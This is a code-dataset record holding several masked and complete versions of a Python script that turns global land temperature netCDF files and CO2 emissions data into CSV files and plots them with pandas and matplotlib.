np.abs(lon_array - longitude).argmin() j = np.abs(lat_array - latitude).argmin() for d in dates: dateResult.append(d) resultTemperature = temperature[:, j, i] for t in resultTemperature: temperatureResult.append(t) resultLatitues = np.full( shape=points, fill_value=latitude, dtype=np.float ) for l in resultLatitues: latitudeResult.append(l) resultLongitudes = np.full( shape=points, fill_value=longitude, dtype=np.float ) for l in resultLongitudes: longitudeResult.append(l) resultCities = np.full( shape=points, fill_value=city ) for c in resultCities: cityResult.append(c) resultCountries = np.full( shape=points, fill_value=country ) for c in resultCountries: countryResult.append(c) print('iteration no:' + str(i)) df = pd.DataFrame() df['date'] = dateResult df['temperature'] = temperatureResult df['latitude'] = latitudeResult df['longitude'] = longitudeResult df['city'] = cityResult df['country'] = countryResult df.to_csv(r'C:\Users\stoja\Desktop\Temperatures.csv', index=False) return df def model(): # Info for netCDF4 file # 1416 ds = Dataset('air.mon.mean.v501.nc') print(ds) time = ds.variables['time'] print(time.units) time_array = time[:] for t in time_array[:]: print(num2date(t, units=time.units)) if __name__ == '__main__': print('Start') # Making the CO2 dataset co2_by_country_till2019() # Making the temperatures dataset df1 = make_dataset_temperatures('air.mon.mean.v501.nc', 1416) print(df1.head()) # Making the temperatures anomalies dataset df2 = make_dataset_temperatures('Complete_TAVG_Daily_LatLong1_2010.nc', 3652) print(df2.head())
flexible
{ "blob_id": "2b579c3def4c2d02d365f019518e8e0b25664460", "index": 7436, "step-1": "<mask token>\n\n\ndef plot_temperatures_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for temperature values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n start) & (values['dt'] <= end)]\n x1 = filtered['dt']\n y1 = filtered['AverageTemperature']\n plt.plot(x1, y1, label='line 1')\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n '1973-01-01') & (values['dt'] <= '1974-01-01')]\n x2 = filtered['dt']\n y2 = filtered['AverageTemperature']\n plt.plot(x2, y2, label='line 2')\n plt.xlabel('x - axis - date')\n plt.ylabel('y - axis - temperature')\n plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef temperatures_by_city_till2013():\n \"\"\"\n Info for dataset, temperatures by city part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef temperatures_by_country_till2013():\n \"\"\"\n Info for dataset, temperatures by country part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef plot_co2_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for co2 values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['Year'] >=\n start) & (values['Year'] <= end)]\n x1 = filtered['Year']\n y1 = filtered['CO2']\n plt.plot(x1, y1, label='line 1')\n plt.xlabel('x - axis - year')\n plt.ylabel('y - axis - co2')\n plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\n<mask token>\n\n\ndef get_lat_lon():\n \"\"\"\n Returns arrays for latitudes, longitudes, cities and countries\n from dataset, temperatures by country part 1, from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n Latitude = temperatures['Latitude']\n Longitude = temperatures['Longitude']\n City = temperatures['City']\n Country = temperatures['Country']\n lat_array = []\n long_array = []\n cities_array = []\n countries_array = []\n tuples = []\n for i, j, city, country in zip(Latitude, Longitude, City, Country):\n if (i, j) not in tuples:\n tuples.append((i, j))\n lat_array.append(float(i[:-1]))\n long_array.append(float(j[:-1]))\n cities_array.append(city)\n countries_array.append(country)\n return lat_array, long_array, cities_array, countries_array\n\n\ndef make_dataset_temperatures(filename, points):\n \"\"\"\n From netCDF4 file to CSV file\n \"\"\"\n ds = Dataset(filename)\n lats, lons, cities, countries = get_lat_lon()\n print('The number of rows is ' + str(len(lats) * points))\n lon = ds.variables['longitude']\n lat = ds.variables['latitude']\n time = ds.variables['date_number']\n lon_array = lon[:]\n lat_array = lat[:]\n time_array = time[:]\n temperature = ds.variables['temperature']\n dates = []\n for time in time_array[:]:\n year = int(time)\n rem = time - year\n base = datetime(year, 1, 1)\n dates.append((base + timedelta(seconds=(base.replace(year=base.year +\n 1) - base).total_seconds() * rem)).date())\n dateResult = []\n temperatureResult = []\n latitudeResult = []\n longitudeResult = []\n cityResult = []\n countryResult = []\n for latitude, longitude, city, country in zip(lats, lons, cities, countries\n ):\n i = np.abs(lon_array - longitude).argmin()\n j = np.abs(lat_array - latitude).argmin()\n for d in dates:\n dateResult.append(d)\n resultTemperature = temperature[:, j, i]\n for t in resultTemperature:\n temperatureResult.append(t)\n resultLatitues = np.full(shape=points, fill_value=latitude, dtype=\n np.float)\n for l in resultLatitues:\n latitudeResult.append(l)\n resultLongitudes = np.full(shape=points, fill_value=longitude,\n dtype=np.float)\n for l in resultLongitudes:\n longitudeResult.append(l)\n resultCities = np.full(shape=points, fill_value=city)\n for c in resultCities:\n cityResult.append(c)\n resultCountries = np.full(shape=points, fill_value=country)\n for c in resultCountries:\n countryResult.append(c)\n print('iteration no:' + str(i))\n df = pd.DataFrame()\n df['date'] = dateResult\n df['temperature'] = temperatureResult\n df['latitude'] = latitudeResult\n df['longitude'] = longitudeResult\n df['city'] = cityResult\n df['country'] = countryResult\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\Temperatures.csv', index=False)\n return df\n\n\ndef model():\n ds = Dataset('air.mon.mean.v501.nc')\n print(ds)\n time = ds.variables['time']\n print(time.units)\n time_array = time[:]\n for t in time_array[:]:\n print(num2date(t, units=time.units))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef plot_temperatures_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for temperature values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n start) & (values['dt'] <= end)]\n x1 = filtered['dt']\n y1 = filtered['AverageTemperature']\n plt.plot(x1, y1, label='line 1')\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n '1973-01-01') & (values['dt'] <= '1974-01-01')]\n x2 = filtered['dt']\n y2 = filtered['AverageTemperature']\n plt.plot(x2, y2, label='line 2')\n plt.xlabel('x - axis - date')\n plt.ylabel('y - axis - temperature')\n plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef temperatures_by_city_till2013():\n \"\"\"\n Info for dataset, temperatures by city part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef temperatures_by_country_till2013():\n \"\"\"\n Info for dataset, temperatures by country part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef plot_co2_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for co2 values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['Year'] >=\n start) & (values['Year'] <= end)]\n x1 = filtered['Year']\n y1 = filtered['CO2']\n plt.plot(x1, y1, label='line 1')\n plt.xlabel('x - axis - year')\n plt.ylabel('y - axis - co2')\n plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef co2_by_country_till2019():\n \"\"\"\n Info for dataset, co2 by country part 1 - from 1751 to 2017\n \"\"\"\n co2_messy = pd.read_csv('CO2/emission data.csv')\n co2 = pd.melt(co2_messy, id_vars=['Country'], var_name='Year',\n value_name='CO2')\n df = pd.DataFrame()\n df['Country'] = co2['Country']\n df['Year'] = co2['Year']\n df['CO2'] = co2['CO2']\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\EmissionCO2.csv', index=False)\n\n\ndef get_lat_lon():\n \"\"\"\n Returns arrays for latitudes, longitudes, cities and countries\n from dataset, temperatures by country part 1, from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n Latitude = temperatures['Latitude']\n Longitude = temperatures['Longitude']\n City = temperatures['City']\n Country = temperatures['Country']\n lat_array = []\n long_array = []\n cities_array = []\n countries_array = []\n tuples = []\n for i, j, city, country in zip(Latitude, Longitude, City, Country):\n if (i, j) not in tuples:\n tuples.append((i, j))\n lat_array.append(float(i[:-1]))\n long_array.append(float(j[:-1]))\n cities_array.append(city)\n countries_array.append(country)\n return lat_array, long_array, cities_array, countries_array\n\n\ndef make_dataset_temperatures(filename, points):\n \"\"\"\n From netCDF4 file to CSV file\n \"\"\"\n ds = Dataset(filename)\n lats, lons, cities, countries = get_lat_lon()\n print('The number of rows is ' + str(len(lats) * points))\n lon = ds.variables['longitude']\n lat = ds.variables['latitude']\n time = ds.variables['date_number']\n lon_array = lon[:]\n lat_array = lat[:]\n time_array = time[:]\n temperature = ds.variables['temperature']\n dates = []\n for time in time_array[:]:\n year = int(time)\n rem = time - year\n base = datetime(year, 1, 1)\n dates.append((base + timedelta(seconds=(base.replace(year=base.year +\n 1) - base).total_seconds() * rem)).date())\n dateResult = []\n temperatureResult = []\n latitudeResult = []\n longitudeResult = []\n cityResult = []\n countryResult = []\n for latitude, longitude, city, country in zip(lats, lons, cities, countries\n ):\n i = np.abs(lon_array - longitude).argmin()\n j = np.abs(lat_array - latitude).argmin()\n for d in dates:\n dateResult.append(d)\n resultTemperature = temperature[:, j, i]\n for t in resultTemperature:\n temperatureResult.append(t)\n resultLatitues = np.full(shape=points, fill_value=latitude, dtype=\n np.float)\n for l in resultLatitues:\n latitudeResult.append(l)\n resultLongitudes = np.full(shape=points, fill_value=longitude,\n dtype=np.float)\n for l in resultLongitudes:\n longitudeResult.append(l)\n resultCities = np.full(shape=points, fill_value=city)\n for c in resultCities:\n cityResult.append(c)\n resultCountries = np.full(shape=points, fill_value=country)\n for c in resultCountries:\n countryResult.append(c)\n print('iteration no:' + str(i))\n df = pd.DataFrame()\n df['date'] = dateResult\n df['temperature'] = temperatureResult\n df['latitude'] = latitudeResult\n df['longitude'] = longitudeResult\n df['city'] = cityResult\n df['country'] = countryResult\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\Temperatures.csv', index=False)\n return df\n\n\ndef model():\n ds = Dataset('air.mon.mean.v501.nc')\n print(ds)\n time = ds.variables['time']\n print(time.units)\n time_array = time[:]\n for t in time_array[:]:\n print(num2date(t, units=time.units))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef plot_temperatures_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for temperature values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n start) & (values['dt'] <= end)]\n x1 = filtered['dt']\n y1 = filtered['AverageTemperature']\n plt.plot(x1, y1, label='line 1')\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n '1973-01-01') & (values['dt'] <= '1974-01-01')]\n x2 = filtered['dt']\n y2 = filtered['AverageTemperature']\n plt.plot(x2, y2, label='line 2')\n plt.xlabel('x - axis - date')\n plt.ylabel('y - axis - temperature')\n plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef temperatures_by_city_till2013():\n \"\"\"\n Info for dataset, temperatures by city part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef temperatures_by_country_till2013():\n \"\"\"\n Info for dataset, temperatures by country part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef plot_co2_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for co2 values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['Year'] >=\n start) & (values['Year'] <= end)]\n x1 = filtered['Year']\n y1 = filtered['CO2']\n plt.plot(x1, y1, label='line 1')\n plt.xlabel('x - axis - year')\n plt.ylabel('y - axis - co2')\n plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef co2_by_country_till2019():\n \"\"\"\n Info for dataset, co2 by country part 1 - from 1751 to 2017\n \"\"\"\n co2_messy = pd.read_csv('CO2/emission data.csv')\n co2 = pd.melt(co2_messy, id_vars=['Country'], var_name='Year',\n value_name='CO2')\n df = pd.DataFrame()\n df['Country'] = co2['Country']\n df['Year'] = co2['Year']\n df['CO2'] = co2['CO2']\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\EmissionCO2.csv', index=False)\n\n\ndef get_lat_lon():\n \"\"\"\n Returns arrays for latitudes, longitudes, cities and countries\n from dataset, temperatures by country part 1, from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n Latitude = temperatures['Latitude']\n Longitude = temperatures['Longitude']\n City = temperatures['City']\n Country = temperatures['Country']\n lat_array = []\n long_array = []\n cities_array = []\n countries_array = []\n tuples = []\n for i, j, city, country in zip(Latitude, Longitude, City, Country):\n if (i, j) not in tuples:\n tuples.append((i, j))\n lat_array.append(float(i[:-1]))\n long_array.append(float(j[:-1]))\n cities_array.append(city)\n countries_array.append(country)\n return lat_array, long_array, cities_array, countries_array\n\n\ndef make_dataset_temperatures(filename, points):\n \"\"\"\n From netCDF4 file to CSV file\n \"\"\"\n ds = Dataset(filename)\n lats, lons, cities, countries = get_lat_lon()\n print('The number of rows is ' + str(len(lats) * points))\n lon = ds.variables['longitude']\n lat = ds.variables['latitude']\n time = ds.variables['date_number']\n lon_array = lon[:]\n lat_array = lat[:]\n time_array = time[:]\n temperature = ds.variables['temperature']\n dates = []\n for time in time_array[:]:\n year = int(time)\n rem = time - year\n base = datetime(year, 1, 1)\n dates.append((base + timedelta(seconds=(base.replace(year=base.year +\n 1) - base).total_seconds() * rem)).date())\n dateResult = []\n temperatureResult = []\n latitudeResult = []\n longitudeResult = []\n cityResult = []\n countryResult = []\n for latitude, longitude, city, country in zip(lats, lons, cities, countries\n ):\n i = np.abs(lon_array - longitude).argmin()\n j = np.abs(lat_array - latitude).argmin()\n for d in dates:\n dateResult.append(d)\n resultTemperature = temperature[:, j, i]\n for t in resultTemperature:\n temperatureResult.append(t)\n resultLatitues = np.full(shape=points, fill_value=latitude, dtype=\n np.float)\n for l in resultLatitues:\n latitudeResult.append(l)\n resultLongitudes = np.full(shape=points, fill_value=longitude,\n dtype=np.float)\n for l in resultLongitudes:\n longitudeResult.append(l)\n resultCities = np.full(shape=points, fill_value=city)\n for c in resultCities:\n cityResult.append(c)\n resultCountries = np.full(shape=points, fill_value=country)\n for c in resultCountries:\n countryResult.append(c)\n print('iteration no:' + str(i))\n df = pd.DataFrame()\n df['date'] = dateResult\n df['temperature'] = temperatureResult\n df['latitude'] = latitudeResult\n df['longitude'] = longitudeResult\n df['city'] = cityResult\n df['country'] = countryResult\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\Temperatures.csv', index=False)\n return df\n\n\ndef model():\n ds = Dataset('air.mon.mean.v501.nc')\n print(ds)\n time = ds.variables['time']\n print(time.units)\n time_array = time[:]\n for t in time_array[:]:\n print(num2date(t, units=time.units))\n\n\nif __name__ == '__main__':\n print('Start')\n co2_by_country_till2019()\n df1 = make_dataset_temperatures('air.mon.mean.v501.nc', 1416)\n print(df1.head())\n df2 = make_dataset_temperatures('Complete_TAVG_Daily_LatLong1_2010.nc',\n 3652)\n print(df2.head())\n", "step-4": "import pandas as pd\nimport matplotlib.pyplot as plt\nfrom netCDF4 import Dataset\nfrom cftime import num2date\nimport os\nimport numpy as np\nfrom datetime import datetime, timedelta, date\n\n\ndef plot_temperatures_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for temperature values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n start) & (values['dt'] <= end)]\n x1 = filtered['dt']\n y1 = filtered['AverageTemperature']\n plt.plot(x1, y1, label='line 1')\n filtered = values.loc[(values['Country'] == country) & (values['dt'] >=\n '1973-01-01') & (values['dt'] <= '1974-01-01')]\n x2 = filtered['dt']\n y2 = filtered['AverageTemperature']\n plt.plot(x2, y2, label='line 2')\n plt.xlabel('x - axis - date')\n plt.ylabel('y - axis - temperature')\n plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef temperatures_by_city_till2013():\n \"\"\"\n Info for dataset, temperatures by city part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef temperatures_by_country_till2013():\n \"\"\"\n Info for dataset, temperatures by country part 1 - from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv')\n print(len(temperatures))\n countries = temperatures['Country'].unique()\n print(len(countries))\n print(sorted(countries))\n\n\ndef plot_co2_by_country(values, country, start, end):\n \"\"\"\n Returns a plot for co2 values for a country\n from a start point to an end point\n \"\"\"\n filtered = values.loc[(values['Country'] == country) & (values['Year'] >=\n start) & (values['Year'] <= end)]\n x1 = filtered['Year']\n y1 = filtered['CO2']\n plt.plot(x1, y1, label='line 1')\n plt.xlabel('x - axis - year')\n plt.ylabel('y - axis - co2')\n plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country)\n plt.show()\n\n\ndef co2_by_country_till2019():\n \"\"\"\n Info for dataset, co2 by country part 1 - from 1751 to 2017\n \"\"\"\n co2_messy = pd.read_csv('CO2/emission data.csv')\n co2 = pd.melt(co2_messy, id_vars=['Country'], var_name='Year',\n value_name='CO2')\n df = pd.DataFrame()\n df['Country'] = co2['Country']\n df['Year'] = co2['Year']\n df['CO2'] = co2['CO2']\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\EmissionCO2.csv', index=False)\n\n\ndef get_lat_lon():\n \"\"\"\n Returns arrays for latitudes, longitudes, cities and countries\n from dataset, temperatures by country part 1, from 1743 to 2013\n \"\"\"\n temperatures = pd.read_csv(\n 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv')\n Latitude = temperatures['Latitude']\n Longitude = temperatures['Longitude']\n City = temperatures['City']\n Country = temperatures['Country']\n lat_array = []\n long_array = []\n cities_array = []\n countries_array = []\n tuples = []\n for i, j, city, country in zip(Latitude, Longitude, City, Country):\n if (i, j) not in tuples:\n tuples.append((i, j))\n lat_array.append(float(i[:-1]))\n long_array.append(float(j[:-1]))\n cities_array.append(city)\n countries_array.append(country)\n return lat_array, long_array, cities_array, countries_array\n\n\ndef make_dataset_temperatures(filename, points):\n \"\"\"\n From netCDF4 file to CSV file\n \"\"\"\n ds = Dataset(filename)\n lats, lons, cities, countries = get_lat_lon()\n print('The number of rows is ' + str(len(lats) * points))\n lon = ds.variables['longitude']\n lat = ds.variables['latitude']\n time = ds.variables['date_number']\n lon_array = lon[:]\n lat_array = lat[:]\n time_array = time[:]\n temperature = ds.variables['temperature']\n dates = []\n for time in time_array[:]:\n year = int(time)\n rem = time - year\n base = datetime(year, 1, 1)\n dates.append((base + timedelta(seconds=(base.replace(year=base.year +\n 1) - base).total_seconds() * rem)).date())\n dateResult = []\n temperatureResult = []\n latitudeResult = []\n longitudeResult = []\n cityResult = []\n countryResult = []\n for latitude, longitude, city, country in zip(lats, lons, cities, countries\n ):\n i = np.abs(lon_array - longitude).argmin()\n j = np.abs(lat_array - latitude).argmin()\n for d in dates:\n dateResult.append(d)\n resultTemperature = temperature[:, j, i]\n for t in resultTemperature:\n temperatureResult.append(t)\n resultLatitues = np.full(shape=points, fill_value=latitude, dtype=\n np.float)\n for l in resultLatitues:\n latitudeResult.append(l)\n resultLongitudes = np.full(shape=points, fill_value=longitude,\n dtype=np.float)\n for l in resultLongitudes:\n longitudeResult.append(l)\n resultCities = np.full(shape=points, fill_value=city)\n for c in resultCities:\n cityResult.append(c)\n resultCountries = np.full(shape=points, fill_value=country)\n for c in resultCountries:\n countryResult.append(c)\n print('iteration no:' + str(i))\n df = pd.DataFrame()\n df['date'] = dateResult\n df['temperature'] = temperatureResult\n df['latitude'] = latitudeResult\n df['longitude'] = longitudeResult\n df['city'] = cityResult\n df['country'] = countryResult\n df.to_csv('C:\\\\Users\\\\stoja\\\\Desktop\\\\Temperatures.csv', index=False)\n return df\n\n\ndef model():\n ds = Dataset('air.mon.mean.v501.nc')\n print(ds)\n time = ds.variables['time']\n print(time.units)\n time_array = time[:]\n for t in time_array[:]:\n print(num2date(t, units=time.units))\n\n\nif __name__ == '__main__':\n print('Start')\n co2_by_country_till2019()\n df1 = make_dataset_temperatures('air.mon.mean.v501.nc', 1416)\n print(df1.head())\n df2 = make_dataset_temperatures('Complete_TAVG_Daily_LatLong1_2010.nc',\n 3652)\n print(df2.head())\n", "step-5": "import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom netCDF4 import Dataset\r\nfrom cftime import num2date\r\nimport os\r\nimport numpy as np\r\nfrom datetime import datetime, timedelta, date\r\n\r\n\r\ndef plot_temperatures_by_country(values, country, start, end):\r\n \"\"\"\r\n Returns a plot for temperature values for a country\r\n from a start point to an end point\r\n \"\"\"\r\n\r\n filtered = values.loc[(values['Country'] == country) &\r\n (values['dt'] >= start) &\r\n (values['dt'] <= end)]\r\n\r\n # x axis values\r\n x1 = filtered['dt']\r\n # corresponding y axis values\r\n y1 = filtered['AverageTemperature']\r\n\r\n # plotting the points\r\n plt.plot(x1, y1, label = \"line 1\")\r\n\r\n filtered = values.loc[(values['Country'] == country) &\r\n (values['dt'] >= '1973-01-01') &\r\n (values['dt'] <= '1974-01-01')]\r\n\r\n # x axis values\r\n x2 = filtered['dt']\r\n # corresponding y axis values\r\n y2 = filtered['AverageTemperature']\r\n\r\n # plotting the points\r\n plt.plot(x2, y2, label=\"line 2\")\r\n\r\n # naming the x axis\r\n plt.xlabel('x - axis - date')\r\n # naming the y axis\r\n plt.ylabel('y - axis - temperature')\r\n\r\n plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country)\r\n\r\n # function to show the plot\r\n plt.show()\r\n\r\n\r\ndef temperatures_by_city_till2013():\r\n \"\"\"\r\n Info for dataset, temperatures by city part 1 - from 1743 to 2013\r\n \"\"\"\r\n\r\n # Columns: dt,AverageTemperature,AverageTemperatureUncertainty,City,Country,Latitude,Longitude\r\n temperatures = pd.read_csv(\"GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv\")\r\n\r\n # 8 599 212 rows\r\n print(len(temperatures))\r\n\r\n countries = temperatures['Country'].unique()\r\n print(len(countries))\r\n print(sorted(countries))\r\n\r\n\r\ndef temperatures_by_country_till2013():\r\n \"\"\"\r\n Info for dataset, temperatures by country part 1 - from 1743 to 2013\r\n \"\"\"\r\n\r\n # Columns: dt, AverageTemperature, AverageTemperatureUncertainty, Country\r\n temperatures = pd.read_csv(\"GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv\")\r\n\r\n # 577 462 rows\r\n print(len(temperatures))\r\n\r\n countries = temperatures['Country'].unique()\r\n print(len(countries))\r\n print(sorted(countries))\r\n\r\n\r\ndef plot_co2_by_country(values, country, start, end):\r\n \"\"\"\r\n Returns a plot for co2 values for a country\r\n from a start point to an end point\r\n \"\"\"\r\n\r\n filtered = values.loc[(values['Country'] == country) &\r\n (values['Year'] >= start) &\r\n (values['Year'] <= end)]\r\n\r\n # x axis values\r\n x1 = filtered['Year']\r\n # corresponding y axis values\r\n y1 = filtered['CO2']\r\n\r\n # plotting the points\r\n plt.plot(x1, y1, label = \"line 1\")\r\n\r\n # naming the x axis\r\n plt.xlabel('x - axis - year')\r\n # naming the y axis\r\n plt.ylabel('y - axis - co2')\r\n\r\n # giving a title to my graph\r\n plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country)\r\n\r\n # function to show the plot\r\n plt.show()\r\n\r\n\r\ndef co2_by_country_till2019():\r\n \"\"\"\r\n Info for dataset, co2 by country part 1 - from 1751 to 2017\r\n \"\"\"\r\n co2_messy = pd.read_csv(\"CO2/emission data.csv\")\r\n\r\n co2 = pd.melt(co2_messy, id_vars=[\"Country\"], var_name=\"Year\", value_name=\"CO2\")\r\n\r\n df = pd.DataFrame()\r\n df['Country'] = co2['Country']\r\n df['Year'] = co2['Year']\r\n df['CO2'] = co2['CO2']\r\n\r\n df.to_csv(r'C:\\Users\\stoja\\Desktop\\EmissionCO2.csv', index=False)\r\n\r\n\r\ndef get_lat_lon():\r\n \"\"\"\r\n Returns arrays for latitudes, longitudes, cities and countries\r\n from dataset, temperatures by country part 1, from 1743 to 2013\r\n \"\"\"\r\n\r\n # Columns: dt,AverageTemperature,AverageTemperatureUncertainty,City,Country,Latitude,Longitude\r\n temperatures = pd.read_csv(\"GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv\")\r\n\r\n Latitude = temperatures['Latitude']\r\n Longitude = temperatures['Longitude']\r\n City = temperatures['City']\r\n Country = temperatures['Country']\r\n\r\n lat_array = []\r\n long_array = []\r\n cities_array = []\r\n countries_array = []\r\n tuples = []\r\n for i, j, city, country in zip(Latitude, Longitude, City, Country):\r\n if (i, j) not in tuples:\r\n tuples.append((i, j))\r\n lat_array.append(float(i[:-1]))\r\n long_array.append(float(j[:-1]))\r\n cities_array.append(city)\r\n countries_array.append(country)\r\n\r\n return lat_array, long_array, cities_array, countries_array\r\n\r\n\r\ndef make_dataset_temperatures(filename, points):\r\n \"\"\"\r\n From netCDF4 file to CSV file\r\n \"\"\"\r\n\r\n ds = Dataset(filename)\r\n\r\n lats, lons, cities, countries = get_lat_lon()\r\n\r\n # total lat,lon pairs: 1366\r\n print('The number of rows is ' + str(len(lats)*points))\r\n lon = ds.variables['longitude']\r\n lat = ds.variables['latitude']\r\n time = ds.variables['date_number']\r\n\r\n lon_array = lon[:]\r\n lat_array = lat[:]\r\n time_array = time[:]\r\n\r\n temperature = ds.variables['temperature']\r\n\r\n dates = []\r\n for time in time_array[:]:\r\n year = int(time)\r\n rem = time - year\r\n base = datetime(year, 1, 1)\r\n dates.append((base + timedelta(seconds=(base.replace(year=base.year + 1) - base).total_seconds() * rem)).date())\r\n\r\n # second approach\r\n # for t in time_array[:]:\r\n # dates.append(num2date(t, units=time.units))\r\n\r\n dateResult = []\r\n temperatureResult = []\r\n latitudeResult = []\r\n longitudeResult = []\r\n cityResult = []\r\n countryResult = []\r\n\r\n for latitude, longitude, city, country in zip(lats, lons, cities, countries):\r\n\r\n # We want to find data for latitude, longitude\r\n # We first need to find the indexes\r\n i = np.abs(lon_array - longitude).argmin()\r\n j = np.abs(lat_array - latitude).argmin()\r\n\r\n for d in dates:\r\n dateResult.append(d)\r\n\r\n resultTemperature = temperature[:, j, i]\r\n for t in resultTemperature:\r\n temperatureResult.append(t)\r\n\r\n resultLatitues = np.full(\r\n shape=points,\r\n fill_value=latitude,\r\n dtype=np.float\r\n )\r\n for l in resultLatitues:\r\n latitudeResult.append(l)\r\n\r\n resultLongitudes = np.full(\r\n shape=points,\r\n fill_value=longitude,\r\n dtype=np.float\r\n )\r\n for l in resultLongitudes:\r\n longitudeResult.append(l)\r\n\r\n resultCities = np.full(\r\n shape=points,\r\n fill_value=city\r\n )\r\n for c in resultCities:\r\n cityResult.append(c)\r\n\r\n resultCountries = np.full(\r\n shape=points,\r\n fill_value=country\r\n )\r\n for c in resultCountries:\r\n countryResult.append(c)\r\n\r\n print('iteration no:' + str(i))\r\n\r\n df = pd.DataFrame()\r\n df['date'] = dateResult\r\n df['temperature'] = temperatureResult\r\n df['latitude'] = latitudeResult\r\n df['longitude'] = longitudeResult\r\n df['city'] = cityResult\r\n df['country'] = countryResult\r\n\r\n df.to_csv(r'C:\\Users\\stoja\\Desktop\\Temperatures.csv', index=False)\r\n return df\r\n\r\n\r\ndef model():\r\n\r\n # Info for netCDF4 file\r\n # 1416\r\n ds = Dataset('air.mon.mean.v501.nc')\r\n print(ds)\r\n time = ds.variables['time']\r\n print(time.units)\r\n time_array = time[:]\r\n for t in time_array[:]:\r\n print(num2date(t, units=time.units))\r\n\r\n\r\nif __name__ == '__main__':\r\n print('Start')\r\n\r\n # Making the CO2 dataset\r\n co2_by_country_till2019()\r\n\r\n # Making the temperatures dataset\r\n df1 = make_dataset_temperatures('air.mon.mean.v501.nc', 1416)\r\n print(df1.head())\r\n\r\n # Making the temperatures anomalies dataset\r\n df2 = make_dataset_temperatures('Complete_TAVG_Daily_LatLong1_2010.nc', 3652)\r\n print(df2.head())\r\n", "step-ids": [ 7, 8, 9, 10, 11 ] }
[ 7, 8, 9, 10, 11 ]
